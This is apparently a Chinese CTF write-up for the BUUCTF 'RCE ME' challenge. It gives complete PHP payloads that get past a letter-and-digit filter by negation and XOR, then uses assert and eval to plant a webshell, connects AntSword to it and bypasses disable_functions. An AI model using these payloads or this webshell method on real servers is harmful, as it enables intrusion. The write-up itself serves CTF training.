[极客大挑战 2019]RCE ME buuctf 题目详解思路

打开靶场代码如下

分析得知 我们进行RCE的payload有限制  长度不能超过40 不能有字母和数字

这就是非常经典的无字母数字RCE

在此之前师傅们如果没有了解过无字母数字RCE的话需要先去了解 不然后面的内容会有点突兀

这里给一个经典的无字母数字RCE的代码  大家有兴趣可以去做测试

<?php
show_source(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['w'])) {
    eval($_GET['w']);
}

无字母数字RCE有很多的方法 比如 异或 取反 自增 这里限制了长度 所以自增肯定是用不了了

自增的payload非常的长 所以这里使用取反和异或进行测试

这里给一个取反的demo

<?php
echo urlencode(~'phpinfo');

进行取反后就会得到一个url编码后的值

即   %8F%97%8F%96%91%99%90

这道题目有两种方法

方法1

通过取反和异或构造

取反payload如下

?code=$_=(~%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST[w])

异或的payload

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[w])

两个都可以使用

payload的注解如下

~%A0%B8%BA%AB  这个经过取反后的值为_GET    "`{{{"^"?<>/";异或后的值也是_GET

取反后$_就等于_GET  那么${$_}[__] 就等于${_GET}[__] 以此类推  后面&符分割后进行赋值以此实现RCE

也就是说通过get传输一个值进行RCE  这里过滤了字母数字 所以使用了下划线  通过assert实现动态调用 构造出assert(eval($_POST[w])) 以此实现RCE  一次次的拼接实现RCE

也就是最后我们想要实现的是这样

<?php
assert(eval($_POST[w])); post传入一个值实现RCE

$_这个大家可以理解为只是一个赋值变量这种

效果如下

通过phpinfo我们可以得知 这道题有disable_function  ctrl+F 页面搜索即可

发现过滤了我们常用的system之类的命令

所以导致 我们在开始进行RCE时通过system执行whoami时没有反应 所以在比赛以及实战中 大家都优先查看phpinfo

有disable_function的存在所以我们构造的时通过assert实现动态调用 而不是直接system执行

注意assert在php7.1版本后就不支持了  这里不是7.1所以可以使用 

至此我们可以连接蚁剑了

连接后发现根目录的flag为空 是因为我们的权限不够

这里就需要用到题目给出的readflag

这里直接说结论 通过蚁剑的插件实现disable绕过 

当然也可以手工 手工比较麻烦 需要云服务器 这里使用插件即可 

提一嘴 如果是windows服务器 绕过可能性不大

有些伙伴们可能没有这个插件  教程在后面

右键单击题目的链接 选择如下所示

点击开始就好 就会自动弹出一个窗口 可以执行命令了

flag到手

插件我们需要到插件市场中下载

进入后选择需要的下载即可 网速可能很慢 因为请求的是蚁剑的github

我们可以挂个代理

选择你代理对应的端口即可

测试连接保存就好

上面是第一种方法 第二种方法更简单也更简洁

方法2

直接使用取反

<?php
echo urlencode(~'assert');
echo '</br>';
echo urlencode(~'eval($_POST[w])');

payload如下

?code=(~%9E%8C%8C%9A%8D%8B)(~
%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%88%A2%D6);

通过post传一个w=phpinfo();

即可实现 连接蚁剑即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

layz_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值